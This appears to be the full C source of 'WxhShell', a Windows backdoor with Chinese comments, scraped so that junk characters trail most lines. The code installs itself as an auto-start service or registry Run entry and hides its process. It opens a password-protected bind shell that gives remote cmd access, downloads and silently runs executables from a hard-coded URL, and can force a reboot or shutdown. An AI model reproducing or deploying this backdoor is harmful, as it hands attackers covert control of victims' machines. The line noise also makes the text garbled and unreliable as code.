  case 'd': { /-1[}h%U'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rIy,gZr.U  
    if(Boot(SHUTDOWN)) RHeql*`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $O=m/l $  
    else { ^hLAMaR  
    closesocket(wsh); `O*+%/(  
    ExitThread(0); D/{hLp{  
    } o AvX(  
    break; E7ixl~  
    } U }xRvNz  
  // 获取shell tvavI9  
  case 's': { '`^`NI`  
    CmdShell(wsh); iku) otUc  
    closesocket(wsh); Eqnc("m)  
    ExitThread(0); RP!X 5  
    break; %i$]S`A}  
  } 'f]\@&Np  
  // 退出 BlMc<k  
  case 'x': { k\I+T~~xD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S}mqK|!  
    CloseIt(wsh);  {|a=  
    break; g"^<LX-  
    } 6Xbo:#  
  // 离开 $SA8$!:  
  case 'q': { {p-&8-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^pIT,|myY7  
    closesocket(wsh); Xb.WI\Eh  
    WSACleanup(); w 7s+6,  
    exit(1); xmsw'\  
    break; hv2@}<r?  
        } [ lW~v:W  
  } (w `9*1NO  
  } r< sx On  
|aIY  
  // 提示信息 ,p {|f}0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9/'zk  
} bC&*U|de  
  } :>+}|(v  
OLg=kF[[  
  return; @FU9!  
} ha&2V=  
@Ge\odfF:  
// shell模块句柄 ef*Vs  
int CmdShell(SOCKET sock) h0_od/D1r  
{ `2.[8%6  
STARTUPINFO si; krnxM7y  
ZeroMemory(&si,sizeof(si)); _vr> -:G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Hk{bz(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y|stxeOC  
PROCESS_INFORMATION ProcessInfo; t4X:I&l-M:  
char cmdline[]="cmd"; 8 6y)+h`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eEl}.W}  
  return 0; $qO%lJ:  
} 8A}cxk  
@|BaZq,g  
// 自身启动模式 {$5?[KD  
int StartFromService(void) AR8zCKBc^  
{ }V:ZGP#!'  
typedef struct SoC3)iqv/  
{ `\Z7It?aDs  
  DWORD ExitStatus; 7|bzopLJk  
  DWORD PebBaseAddress; "&lQ5]N.%  
  DWORD AffinityMask; H!PMb{e  
  DWORD BasePriority; ]jQj/`v1  
  ULONG UniqueProcessId;  <m7m  
  ULONG InheritedFromUniqueProcessId; }g&A=u_2  
}   PROCESS_BASIC_INFORMATION; sbqAjm}  
J$"3w,O6+U  
PROCNTQSIP NtQueryInformationProcess; l/ufu[x!a  
f2ea|l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m?*}yM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8725ET t  
$S Kax#[  
  HANDLE             hProcess; _3YZz$07  
  PROCESS_BASIC_INFORMATION pbi; jjLx60|{  
_ x8gEK8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g4z*6L,u  
  if(NULL == hInst ) return 0; >JVdL\3  
0;6eSmF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l4: B(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tr?U/YG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e,V @t%  
;xqN#mqq  
  if (!NtQueryInformationProcess) return 0; N5K\h}'%  
Z8 eB5!$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'ip2|UG  
  if(!hProcess) return 0; (+aU,EQ  
P]cC2L@Vbi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bSJ@ 5qS  
,#?iu?i/  
  CloseHandle(hProcess); [0>I6Jl  
Z/G`8|A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8=kIN-l_  
if(hProcess==NULL) return 0; #X 1 GL  
X?f\j"v  
HMODULE hMod; \P~ h0zg?  
char procName[255]; \%BII>VS  
unsigned long cbNeeded; m-u3^\'  
:LrB9Cf$n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +V Oczl=  
"($"T v2  
  CloseHandle(hProcess); Rq`d I~5!b  
lf2Q  
if(strstr(procName,"services")) return 1; // 以服务启动 <dd XvUCX  
6>Dm cG:.  
  return 0; // 注册表启动 2UbTKN  
} M1HGXdN*B  
"Sb<"$ :  
// 主模块 a*2JLK  
int StartWxhshell(LPSTR lpCmdLine) ka=EOiX.  
{ 9@3cz_[J  
  SOCKET wsl; to,\sc  
BOOL val=TRUE; 0^('hS&  
  int port=0; omu )s '8  
  struct sockaddr_in door; x u<oQBt  
\0fS;Q^{j  
  if(wscfg.ws_autoins) Install(); 15J t @{<r  
vCX 54  
port=atoi(lpCmdLine); 0]k-0#JM  
X:2)C-l?  
if(port<=0) port=wscfg.ws_port; &9OnN<mT1  
jCp^CNbA  
  WSADATA data; ;M<R e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3sD/4 ?  
y?P4EVknM3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >S}^0vNZX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +d!"Zy2|B  
  door.sin_family = AF_INET; `=%mU/v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C.`!?CW  
  door.sin_port = htons(port); *N65B#  
r7FFZNs!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \DMZ M  
closesocket(wsl); qbx}9pp}g  
return 1; _=Y HO.  
} 2'U+QK@  
+wIv|zj9  
  if(listen(wsl,2) == INVALID_SOCKET) { L)"E_  
closesocket(wsl); $97EeE:{M  
return 1; q=x1:^rVH  
} CaB@,L  
  Wxhshell(wsl); S; Fj9\2)I  
  WSACleanup(); B`w@Xk'D  
jJqq:.XqB8  
return 0; )0XJOm  
eKvQS}11  
} "30R%oL]=  
hqc)Ydg_%  
// 以NT服务方式启动 |C`.m |  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H^fErl  
{ E}lNb  
DWORD   status = 0; A}W}H;8x  
  DWORD   specificError = 0xfffffff; 6 K-jje;)  
8~|tl,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >NJ`*M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $s<bKju  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AGMrBd|J{  
  serviceStatus.dwWin32ExitCode     = 0; jM[]Uh  
  serviceStatus.dwServiceSpecificExitCode = 0; uRnSwJ"hE  
  serviceStatus.dwCheckPoint       = 0; _>u0vGF-  
  serviceStatus.dwWaitHint       = 0; 6b-E|;"]:^  
"w&G1kw5I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gJYX  
  if (hServiceStatusHandle==0) return; ?4sF:Y+\  
pxV@fH+`  
status = GetLastError(); Z(c2F]  
  if (status!=NO_ERROR) 5pz(6gA  
{ }J+ \o~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cyXnZs ?|  
    serviceStatus.dwCheckPoint       = 0; OM (D@up  
    serviceStatus.dwWaitHint       = 0; snvixbN  
    serviceStatus.dwWin32ExitCode     = status; |PutTcjQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~JX+4~qT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ lE d8Cb  
    return; I?X!v6  
  }  aX}:O  
T{4Ru6[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ay>u``$R  
  serviceStatus.dwCheckPoint       = 0; <2ymfL-q  
  serviceStatus.dwWaitHint       = 0; "yf#sEabV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !b{7gUjyI  
} &BE'~G  
[DSD[[ z[  
// 处理NT服务事件,比如:启动、停止 S*'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7q@>d(xho  
{ b |JM4jgK  
switch(fdwControl) )uazB!X  
{ )^]1j$N=3  
case SERVICE_CONTROL_STOP: 8dCa@r&tz  
  serviceStatus.dwWin32ExitCode = 0; l~'NqmXe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cIOM}/gqv  
  serviceStatus.dwCheckPoint   = 0; Rd:wMy$  
  serviceStatus.dwWaitHint     = 0; Dl=qss~g+  
  { &pN/+,0E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WmTg`[  
  } fl *>m,  
  return; i1ss}JJp*  
case SERVICE_CONTROL_PAUSE: n]a/nv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w6G<&1iH  
  break; {hi'LA-4@  
case SERVICE_CONTROL_CONTINUE: o06vC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eG08Xt |lc  
  break; g3kF&+2i  
case SERVICE_CONTROL_INTERROGATE: KiYz]IM$4  
  break; m$H(l4wB>  
};  IA{I|g<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U( (F<  
} Wer.VL  
;H`>jI$  
// 标准应用程序主函数 1gh<nn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G21cJi*  
{ Kn4x _9  
c~v(bK  
// 获取操作系统版本 a[ A*9%a  
OsIsNt=GetOsVer(); X%]m^[6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); We:b1sZR  
yQdoy^d/4  
  // 从命令行安装 I1fUV72  
  if(strpbrk(lpCmdLine,"iI")) Install(); e>Q_&6L  
b^C2<'  
  // 下载执行文件 'G8.)eTA'  
if(wscfg.ws_downexe) { cRS2v--\-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B^lm'/,@  
  WinExec(wscfg.ws_filenam,SW_HIDE); (C60HbL  
} zMbz_22*  
9xM7X?  
if(!OsIsNt) { pHv~^L%=  
// 如果时win9x,隐藏进程并且设置为注册表启动 i5CBLv  
HideProc(); obtXtqew  
StartWxhshell(lpCmdLine); ?)mM]2%%  
} ?n9?`8a#  
else :}3;z'2]l  
  if(StartFromService()) [RFF&uy  
  // 以服务方式启动 \8iWcqJktN  
  StartServiceCtrlDispatcher(DispatchTable); g4NbzU[I  
else r0fEW9wL  
  // 普通方式启动 <ecif_a=m  
  StartWxhshell(lpCmdLine); m j@{hGP  
} 0x'm  
return 0; 0PT\/imgN  
} _'"$,~ZWY  
pqnZ:'V  
;nZN}&m   
0zrZrl  
=========================================== 2-x#|9  
=x^b  
OM 4, Sevk  
~CQTPR  
>Z&Y!w'A|u  
*\T ]Z&E"  
" FCPi U3  
(|_N2R!  
#include <stdio.h> 2#t35fU  
#include <string.h> uwhb-.w  
#include <windows.h> :Miri_l  
#include <winsock2.h> 9Netnzv%  
#include <winsvc.h> @-G^Jm9~\m  
#include <urlmon.h> .7v .DR>  
PA<<{\dp  
#pragma comment (lib, "Ws2_32.lib") zpM%L:S  
#pragma comment (lib, "urlmon.lib") _7Rp.)[&  
t182&gpd`  
#define MAX_USER   100 // 最大客户端连接数 C3z#A3&J  
#define BUF_SOCK   200 // sock buffer <j^bk"l p  
#define KEY_BUFF   255 // 输入 buffer ?R8wmE[w  
8oVQ:' 6  
#define REBOOT     0   // 重启 NZ=`iA8)X  
#define SHUTDOWN   1   // 关机 P/;d|M(  
y;1l].L  
#define DEF_PORT   5000 // 监听端口 8e*1L:oB!  
h4lrt  
#define REG_LEN     16   // 注册表键长度 ZA Xw=O5  
#define SVC_LEN     80   // NT服务名长度 V Mb r@9  
G~fM!F0   
// 从dll定义API uIb,n5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M qG`P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c037#&Q%#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ql.abU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i_kKE+Q  
76j5  
// wxhshell配置信息 FatLc|[  
struct WSCFG { ( S=RFd  
  int ws_port;         // 监听端口 QGM@m:O  
  char ws_passstr[REG_LEN]; // 口令 P_8z'pYd>  
  int ws_autoins;       // 安装标记, 1=yes 0=no $2lPUQZ<5  
  char ws_regname[REG_LEN]; // 注册表键名 U f <hzP  
  char ws_svcname[REG_LEN]; // 服务名 {B,r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]v,>!~8r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }vspjplk^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %jnSJjcq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no csNB  \  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Uv/#"r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yo@S.7[/  
U-0A}@N  
}; ^;=L|{Xl  
r[Zg$CW  
// default Wxhshell configuration w!N?:}P<N  
struct WSCFG wscfg={DEF_PORT, F,'rW:{HMt  
    "xuhuanlingzhe", 1@L|EFa  
    1, :d,]BB  
    "Wxhshell", j!;y!g  
    "Wxhshell", :^[HDI-[2  
            "WxhShell Service", Kfl#78$d  
    "Wrsky Windows CmdShell Service", Z<^TO1xs9B  
    "Please Input Your Password: ", 6 7{>x[  
  1, eg$y,Tx  
  "http://www.wrsky.com/wxhshell.exe", `7mRUDz  
  "Wxhshell.exe" +M/1,&  
    }; g&oAa;~o  
;R x Rap  
// 消息定义模块 r}]%(D](v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "0edk"hk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *%,{<C,Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DpZO$5.Ec+  
char *msg_ws_ext="\n\rExit."; a][QY1E@?  
char *msg_ws_end="\n\rQuit."; '|JBA.s|  
char *msg_ws_boot="\n\rReboot..."; xJSK"  
char *msg_ws_poff="\n\rShutdown..."; +'f+0T\)  
char *msg_ws_down="\n\rSave to "; qPI1\!z6  
h.ln%6:d  
char *msg_ws_err="\n\rErr!"; U81--'@y  
char *msg_ws_ok="\n\rOK!"; JX!@j3  
GZ@`}7b}  
char ExeFile[MAX_PATH]; ;ZVT[gi*  
int nUser = 0; 'gQ0=6(\  
HANDLE handles[MAX_USER]; K6s%=.Zi(  
int OsIsNt; b!J%s   
Sl7x>=  
SERVICE_STATUS       serviceStatus; ZgD%*bH*B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; swGp{wJ  
~?#B(t  
// 函数声明 2MQ XtK  
int Install(void); bxrT[]  
int Uninstall(void); N(W;\>P  
int DownloadFile(char *sURL, SOCKET wsh); `HO_t ek  
int Boot(int flag); ~Y.I;EPKt  
void HideProc(void); vz1yH%~E  
int GetOsVer(void); j[e<CGZ  
int Wxhshell(SOCKET wsl); A)j',jE&1  
void TalkWithClient(void *cs); *fj5$T-Z  
int CmdShell(SOCKET sock); >ukn<  
int StartFromService(void); uz%<K(:Ov  
int StartWxhshell(LPSTR lpCmdLine); &ap&dM0@%a  
H/?@UJ5m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D{)K00mm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X{YY)}^  
a?dUJt  
// 数据结构和表定义 ]QbT%0  
SERVICE_TABLE_ENTRY DispatchTable[] = fC7rs5  
{ $t{;- DpNB  
{wscfg.ws_svcname, NTServiceMain}, :fx^{N!T  
{NULL, NULL} >L_nu.x  
}; 8uq`^l%KkZ  
W7PL]5y&  
// 自我安装 =}1)/gcM  
int Install(void) }#Gq*^w  
{ 7kDqgod^A  
  char svExeFile[MAX_PATH]; 1](PuQm7+  
  HKEY key; "AcC\iq  
  strcpy(svExeFile,ExeFile); suF<VJ)&s  
](2\w9i%  
// 如果是win9x系统,修改注册表设为自启动 ^_rBEyz@  
if(!OsIsNt) { Nm.G,6<J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yPXa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c`E0sgp  
  RegCloseKey(key); YQ7\99tj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P]mJ01@'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TEN~3 Ef#  
  RegCloseKey(key); gL(_!mcwu  
  return 0; LjEG1$F>  
    } , R;k>'.  
  } :Q-QY)hH  
} =lOdg3#\a  
else { qe3d,!  
bK69Rb@\A  
// 如果是NT以上系统,安装为系统服务 k+5l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q4y sTm  
if (schSCManager!=0) )kpNg:2p  
{ T?+%3z}8  
  SC_HANDLE schService = CreateService f'WRszrF  
  ( bCL/"OB  
  schSCManager, x=VLTH/oo  
  wscfg.ws_svcname, s,;7m  
  wscfg.ws_svcdisp, \0,8?S  
  SERVICE_ALL_ACCESS, aT_%G&.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w}WfQj  
  SERVICE_AUTO_START, =v:}{~M^$  
  SERVICE_ERROR_NORMAL, vXLGdv::  
  svExeFile, Mc@_[q!xY?  
  NULL, 6F8TiR&  
  NULL, vi; yT.  
  NULL, pt_]&3\e  
  NULL, 3o^~6A  
  NULL ~LF1$Cai  
  ); rf=oH }  
  if (schService!=0) %F2T`?t:  
  { 57jDsQAj  
  CloseServiceHandle(schService); =_=0l+\}  
  CloseServiceHandle(schSCManager); {\u6Cjx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zb,YYE1  
  strcat(svExeFile,wscfg.ws_svcname); i[4t`v'Dk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @=NTr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G vTA/zA  
  RegCloseKey(key); qF3s&WI  
  return 0; `P/87=h  
    } ^9zlxs`<d  
  } ZuNUha&a  
  CloseServiceHandle(schSCManager); $g&_7SJ@  
} ZU68\cL  
} 8O| w(z  
7:'5q]9  
return 1; k!0vpps  
} E|"QYsi.Ck  
9 Eqv^0u  
// 自我卸载 c yH=LjgJf  
int Uninstall(void) c1M *w9o  
{ ZYLPk<<  
  HKEY key; AvZO R  
%zYTTPLZ  
if(!OsIsNt) { [5;_XMj%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pah*,  
  RegDeleteValue(key,wscfg.ws_regname); /:ju/ ~R}  
  RegCloseKey(key); f64}#E|w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Dw| I${O  
  RegDeleteValue(key,wscfg.ws_regname); orZwm9#].  
  RegCloseKey(key); 08_<G`r  
  return 0; X- P%^mK  
  } R@ MXwP  
} L~!Lq4]V\g  
} 0 } |21YED  
else { (YY!e2  
MZ%S3'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (vPE?^}b  
if (schSCManager!=0) '-V[t yE  
{ l9+)h }  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X&gXhr#dL\  
  if (schService!=0) xA>3]<O  
  { ;%mdSaf  
  if(DeleteService(schService)!=0) { }*|aVBvU  
  CloseServiceHandle(schService); ZK`x(h{p)  
  CloseServiceHandle(schSCManager); L.x`Jpq(3  
  return 0; + %H2;8{F  
  } `,s0^?_  
  CloseServiceHandle(schService); Mi<}q@]e  
  } V;(Rg=5  
  CloseServiceHandle(schSCManager); |]'gd)%S\  
} H><! C  
} 5|g#>sx>`q  
hY/i)T{  
return 1; !|-:"hE1h  
} g+QNIM>  
tN_~zP  
// 从指定url下载文件 "u3 N9  
int DownloadFile(char *sURL, SOCKET wsh) M5`wfF,j  
{ iUk#0 I  
  HRESULT hr; 2#Y5*r's\  
char seps[]= "/"; *n`8 -=  
char *token; CA3`Ee+rD  
char *file; 6#Bg99c  
char myURL[MAX_PATH]; uiq;{!dop  
char myFILE[MAX_PATH]; 7 aN}l QM  
1Ba.'~:  
strcpy(myURL,sURL); w -5_Ru  
  token=strtok(myURL,seps); Qy\K oo  
  while(token!=NULL) e^h4cC\^  
  { )%bY2 pk  
    file=token; 6BObV/S Jg  
  token=strtok(NULL,seps); bj=YFV+  
  } %iD'2e:  
J\Z\q  
GetCurrentDirectory(MAX_PATH,myFILE); Dw&_6\F@  
strcat(myFILE, "\\"); 3gz4c1 s^:  
strcat(myFILE, file); }b / G{92  
  send(wsh,myFILE,strlen(myFILE),0); 5[A4K%EL  
send(wsh,"...",3,0); bkL5srH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p}lFV,V  
  if(hr==S_OK) fYzZW  
return 0; ,,~|o3cfq  
else Zrp9`~_g<!  
return 1; E|ZLz~  
LLJsBHi-  
} cxxrvP-  
'cf8VD  
// 系统电源模块 '+iqbcUd,  
int Boot(int flag) qdwjg8fo4Z  
{ cB4p.iO   
  HANDLE hToken; vL Qh r&I  
  TOKEN_PRIVILEGES tkp; R|K#nh  
''wF%q  
  if(OsIsNt) { ;op 8r u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gro@+^DmT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $-lP"m@}  
    tkp.PrivilegeCount = 1; /@9-D 4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (\ Gs7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^vr`t9EE  
if(flag==REBOOT) { -MItZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ MW_=6U  
  return 0; "%)^:('Ki  
} T^.W'  
else { [(/IV+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qh 9Ix  
  return 0; b;$j h   
} &&($LnyA]  
  } `KJ BQK  
  else { v1~`76^  
if(flag==REBOOT) { v`9n'+h-c6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <rFKJ^B  
  return 0; r?wE;gH  
} -,} ppTG  
else { 'E~[I"0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2Ls  
  return 0; \7A6+[ `fa  
} roE*8:Y  
} AE&IN.-  
Auf2JH~  
return 1; jl~?I*Gr  
} &ajpD sz;  
zIgD R  
// win9x进程隐藏模块 a%)-iL X8&  
void HideProc(void) |T^c(RpOE  
{ *8j2iu-|  
P]||Xbbp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l/@t>%  
  if ( hKernel != NULL ) Zv)x-48  
  { 8Qi@z Jq,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x@480r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]BBL=$*  
    FreeLibrary(hKernel); 1U;p+k5c  
  } pm}!?TL  
,MdK "Qa>  
return; ET}Dh3A  
} 4^Ghn  
i-_ * 5%A  
// 获取操作系统版本 _T[m YY  
int GetOsVer(void) ( mKuFz7  
{ 7!-y72qx  
  OSVERSIONINFO winfo; 0s8w)%4$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZdY)&LJ  
  GetVersionEx(&winfo); "R v],O"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -% Z?rn2  
  return 1; 8m;tgMFO  
  else ::A]p@  
  return 0; l:H}Y3_I  
} Ff @Cs0R  
298@&_  
// 客户端句柄模块 uGMmS9v$ J  
int Wxhshell(SOCKET wsl) BV01&.<|  
{ QL_9a,R'r  
  SOCKET wsh; O6$d@r;EK]  
  struct sockaddr_in client; NM_Xy<.~E  
  DWORD myID; 9 WhZ= Xk  
 ]7yr.4?a  
  while(nUser<MAX_USER) BR [3i}Ud  
{ E/_I$<,_y  
  int nSize=sizeof(client); 2RC|u?+@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~i y]X:U  
  if(wsh==INVALID_SOCKET) return 1; ?#0|A?U  
W6 U**ir.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [:(^n0%  
if(handles[nUser]==0) _M;M-hk/  
  closesocket(wsh); Uc?#E $X  
else oWo/QNw9  
  nUser++; WVfwt.Y  
  } H~Fb=.h]U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kKP<K+hH  
5x:dhkW  
  return 0; 5g(`U+ ,*(  
} &?xZ Hr`  
]1(G:h\  
// 关闭 socket j6_tFJT  
void CloseIt(SOCKET wsh) =xq+r]g6  
{ O^,%V{]6\  
closesocket(wsh); 5p7?e3  
nUser--; $06[D91'  
ExitThread(0); %}=:gF  
} _pS |bqF  
W dNOE;R  
// 客户端请求句柄 oX #WT  
void TalkWithClient(void *cs) w( ^  
{ efu'PfZ`&  
n$O[yRMI[  
  SOCKET wsh=(SOCKET)cs; E'O[E=  
  char pwd[SVC_LEN]; zZax![Z  
  char cmd[KEY_BUFF]; t+?m<h6w;l  
char chr[1]; 7A mnxFC  
int i,j; 9Oe~e  
q/lQEfR  
  while (nUser < MAX_USER) { <)dHe:  
;mAlF>6]\  
if(wscfg.ws_passstr) { BrO" _  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X5gI'u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p2/Pj)2  
  //ZeroMemory(pwd,KEY_BUFF); TC+L\7   
      i=0; ZcLW8L  
  while(i<SVC_LEN) { -)p S\$GC  
rV0X*[]J>  
  // 设置超时 t/57LjV  
  fd_set FdRead; ;0c -+,  
  struct timeval TimeOut; [, )G\  
  FD_ZERO(&FdRead); V|n}v?f_q  
  FD_SET(wsh,&FdRead); ?8GggJC  
  TimeOut.tv_sec=8; p&nPzZQL(  
  TimeOut.tv_usec=0; Oe["4C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fb0r(vQ^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /5$;W 'I  
/)<x<7FKW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ym =7EY?o  
  pwd=chr[0]; Y%1 94fY$  
  if(chr[0]==0xd || chr[0]==0xa) { x<fF1];  
  pwd=0; KW1b #g%Z  
  break; }@XokRk  
  } JE<w7:R&  
  i++; Sbp].3^j  
    }  UqwU3  
CVy\']  
  // 如果是非法用户,关闭 socket nde_%d$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .*Mp+Q}^  
} ~stJO])a  
$,)PO Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IGQcQ/M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j*' +f~ A  
hRwj-N%C  
while(1) { MoX~ZewWR  
-+ha4JOB  
  ZeroMemory(cmd,KEY_BUFF); \~!!h.xR  
TF1,7Qd  
      // 自动支持客户端 telnet标准   ]~K&b96(  
  j=0; "-T[D9(A  
  while(j<KEY_BUFF) { G=ly .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (E{}iq@2  
  cmd[j]=chr[0]; k:QeZn(  
  if(chr[0]==0xa || chr[0]==0xd) { <9bfX 91  
  cmd[j]=0; l{o,"P"  
  break; LpYG!Kl  
  } R9z:K_d,  
  j++; 6Lb(oY}\3  
    } 9Gc4mwu  
sW^e D;  
  // 下载文件 /2.}m`5  
  if(strstr(cmd,"http://")) { |Fi{]9(G2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6|G&d>G$_  
  if(DownloadFile(cmd,wsh)) W2Ik!wEe&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\k| Z  
  else e1OGGF%E n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]T:a&DHC  
  } b$;qtfJG  
  else { _@5|r|P>  
-k8<LR3  
    switch(cmd[0]) { 0Fw4}f.o  
